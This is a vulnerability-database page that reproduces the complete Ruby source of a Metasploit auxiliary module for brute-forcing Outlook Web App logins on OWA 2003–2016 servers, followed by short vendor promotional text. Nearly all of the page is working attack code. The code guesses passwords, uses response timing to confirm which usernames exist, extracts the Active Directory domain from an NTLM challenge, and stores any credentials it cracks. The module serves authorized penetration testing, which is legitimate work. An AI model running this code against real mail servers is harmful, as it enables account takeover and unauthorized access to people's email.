Lucene search
K

Outlook Web App (OWA) Brute Force Utility

This module tests credentials on Outlook Web App (OWA) 2003, 2007, 2010, 2013, and 2016 server

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner


  def initialize
    super(
      'Name'           => 'Outlook Web App (OWA) Brute Force Utility',
      'Description'    => %q{
        This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.
      },
      'Author'         =>
        [
          'Vitor Moreira',
          'Spencer McIntyre',
          'SecureState R&D Team',
          'sinn3r',
          'Brandon Knight',
          'Pete (Bokojan) Arzamendi', # Outlook 2013 updates
          'Nate Power',                # HTTP timing option
          'Chapman (R3naissance) Schleiss', # Save username in creds if response is less
          'Andrew Smith' # valid creds, no mailbox
        ],
      'License'        => MSF_LICENSE,
      'Actions'        =>
        [
          [
            'OWA_2003',
            {
              'Description' => 'OWA version 2003',
              'AuthPath'    => '/exchweb/bin/auth/owaauth.dll',
              'InboxPath'   => '/exchange/',
              'InboxCheck'  => /Inbox/
            }
          ],
          [
            'OWA_2007',
            {
              'Description' => 'OWA version 2007',
              'AuthPath'    => '/owa/auth/owaauth.dll',
              'InboxPath'   => '/owa/',
              'InboxCheck'  => /addrbook.gif/
            }
          ],
          [
            'OWA_2010',
            {
              'Description' => 'OWA version 2010',
              'AuthPath'    => '/owa/auth.owa',
              'InboxPath'   => '/owa/',
              'InboxCheck'  => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/
            }
          ],
          [
            'OWA_2013',
            {
              'Description' => 'OWA version 2013',
              'AuthPath'    => '/owa/auth.owa',
              'InboxPath'   => '/owa/',
              'InboxCheck'  => /Inbox|logoff\.owa/
            }
          ],
          [
            'OWA_2016',
            {
              'Description' => 'OWA version 2016',
              'AuthPath'    => '/owa/auth.owa',
              'InboxPath'   => '/owa/',
              'InboxCheck'  => /Inbox|logoff\.owa/
            }
          ]
        ],
      'DefaultAction' => 'OWA_2013',
      'DefaultOptions' => {
        'SSL' => true
      }
    )

    register_options(
      [
        OptInt.new('RPORT', [ true, "The target port", 443]),
        OptAddress.new('RHOST', [ true, "The target address" ]),
        OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),
        OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true])
      ])


    register_advanced_options(
      [
        OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
        OptFloat.new('BaselineAuthTime', [ false, "Baseline HTTP authentication response time for invalid users", 1.0])
      ])

    deregister_options('BLANK_PASSWORDS', 'RHOSTS')
  end

  def setup
    # Here's a weird hack to check if each_user_pass is empty or not
    # apparently you cannot do each_user_pass.empty? or even inspect() it
    isempty = true
    each_user_pass do |user|
      isempty = false
      break
    end
    raise ArgumentError, "No username/password specified" if isempty
  end

  def run
    vhost = datastore['VHOST'] || datastore['RHOST']

    print_status("#{msg} Testing version #{action.name}")

    auth_path   = action.opts['AuthPath']
    inbox_path  = action.opts['InboxPath']
    login_check = action.opts['InboxCheck']

    domain = nil

    if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
      domain = datastore['AD_DOMAIN']
    end

    if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
      domain = get_ad_domain
    end

    begin
      each_user_pass do |user, pass|
        next if (user.blank? or pass.blank?)
        vprint_status("#{msg} Trying #{user} : #{pass}")
        try_user_pass({
          user: user,
          domain: domain,
          pass: pass,
          auth_path: auth_path,
          inbox_path: inbox_path,
          login_check: login_check,
          vhost: vhost
        })
      end
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
      print_error("#{msg} HTTP Connection Error, Aborting")
    end
  end

  def try_user_pass(opts)
    user = opts[:user]
    pass = opts[:pass]
    auth_path = opts[:auth_path]
    inbox_path = opts[:inbox_path]
    login_check = opts[:login_check]
    vhost = opts[:vhost]
    domain = opts[:domain]

    user = domain + '\\' + user if domain

    headers = {
      'Cookie' => 'PBack=0'
    }

    if datastore['SSL']
      if ["OWA_2013", "OWA_2016"].include?(action.name)
        data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
      else
        data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
      end
    else
      if ["OWA_2013", "OWA_2016"].include?(action.name)
        data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'
      else
        data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass
      end
    end

    begin
      if datastore['AUTH_TIME']
        start_time = Time.now
      end
      baseline = datastore['BaselineAuthTime'] || 1.0

      res = send_request_cgi({
        'encode'   => true,
        'uri'      => auth_path,
        'method'   => 'POST',
        'headers'  => headers,
        'data'     => data
      })

      if datastore['AUTH_TIME']
        elapsed_time = Time.now - start_time
      end
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      print_error("#{msg} HTTP Connection Failed, Aborting")
      return :abort
    end

    if not res
      print_error("#{msg} HTTP Connection Error, Aborting")
      return
    end

    if res.peerinfo['addr'] != datastore['RHOST']
      vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")
    end

    if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?
        print_error("#{msg} Received invalid response due to a missing cookie (possibly due to invalid version), aborting")
        return :abort
    end
    if ["OWA_2013", "OWA_2016"].include?(action.name)
      # Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016
      # Check if the password needs to be changed.
      if res.headers['location'] =~ /expiredpassword/
        print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")
        report_cred(
          ip: res.peerinfo['addr'],
          port: datastore['RPORT'],
          service_name: 'owa',
          user: user,
          password: pass
        )
        return :next_user
      end

      # No password change required moving on.
      # Check for valid login but no mailbox setup
      print_good("server type: #{res.headers["X-FEServer"]}")
      if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/
        print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
        report_cred(
          ip: res.peerinfo['addr'],
          port: datastore['RPORT'],
          service_name: 'owa',
          user: user,
          password: pass
        )
        return :next_user
      end

      unless location = res.headers['location']
        print_error("#{msg} No HTTP redirect.  This is not OWA 2013 / 2016 system, aborting.")
        return :abort
      end
      reason = location.split('reason=')[1]
      if reason == nil
        headers['Cookie'] = 'PBack=0;' << res.get_cookies
      else
        # Login didn't work. no point in going on, however, check if valid domain account by response time.
        if elapsed_time && elapsed_time <= baseline
          unless user =~ /@\w+\.\w+/
            report_cred(
              ip: res.peerinfo['addr'],
              port: datastore['RPORT'],
              service_name: 'owa',
              user: user
            )
            print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
            return :Skip_pass
          end
        else
          vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")
          return :Skip_pass
        end
      end
    else
       # The authentication info is in the cookies on this response
      cookies = res.get_cookies
      cookie_header = 'PBack=0'
      %w(sessionid cadata).each do |necessary_cookie|
        if cookies =~ /#{necessary_cookie}=([^;]*)/
          cookie_header << "; #{Regexp.last_match(1)}"
        else
          print_error("#{msg} Missing #{necessary_cookie} cookie.  This is not OWA 2010, aborting")
          return :abort
        end
      end
      headers['Cookie'] = cookie_header
    end

    begin
      res = send_request_cgi({
        'uri'       => inbox_path,
        'method'    => 'GET',
        'headers'   => headers
      }, 20)
    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      print_error("#{msg} HTTP Connection Failed, Aborting")
      return :abort
    end

    if not res
      print_error("#{msg} HTTP Connection Error, Aborting")
      return :abort
    end

    if res.redirect?
      if elapsed_time && elapsed_time <= baseline
        unless user =~ /@\w+\.\w+/
          report_cred(
            ip: res.peerinfo['addr'],
            port: datastore['RPORT'],
            service_name: 'owa',
            user: user
          )
          print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
          return :Skip_pass
        end
      else
        vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")
        return :skip_pass
      end
    end

    if res.body =~ login_check
      print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")
      report_cred(
        ip: res.peerinfo['addr'],
        port: datastore['RPORT'],
        service_name: 'owa',
        user: user,
        password: pass
      )
      return :next_user
    else
      if elapsed_time && elapsed_time <= baseline
        unless user =~ /@\w+\.\w+/
          report_cred(
            ip: res.peerinfo['addr'],
            port: datastore['RPORT'],
            service_name: 'owa',
            user: user
          )
          print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")
          return :Skip_pass
        end
      else
        vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")
        return :skip_pass
      end
    end
  end

  def get_ad_domain
    urls = ['aspnet_client',
      'Autodiscover',
      'ecp',
      'EWS',
      'Microsoft-Server-ActiveSync',
      'OAB',
      'PowerShell',
      'Rpc']

    domain = nil

    urls.each do |url|
      begin
        res = send_request_cgi({
          'encode'   => true,
          'uri'      => "/#{url}",
          'method'   => 'GET',
          'headers'  =>  {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}
        })
      rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
        vprint_error("#{msg} HTTP Connection Failed")
        next
      end

      if not res
        vprint_error("#{msg} HTTP Connection Timeout")
        next
      end

      if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)
        hash = res['WWW-Authenticate'].split('NTLM ')[1]
        domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
        print_good("Found target domain: #{domain}")
        return domain
      end
    end

    return domain
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    # Test if password was passed, if so, add private_data. If not, assuming only username was found
    if opts.has_key?(:password)
      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: opts[:user],
        private_data: opts[:password],
        private_type: :password
      }.merge(service_data)
    else
      credential_data = {
        origin_type: :service,
        module_fullname: fullname,
        username: opts[:user]
      }.merge(service_data)
    end

    login_data = {
      core: create_credential(credential_data),
      last_attempted_at: DateTime.now,
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def msg
    "#{vhost}:#{rport} OWA -"
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 20:02Current
7.4High risk
Vulners AI Score7.4
81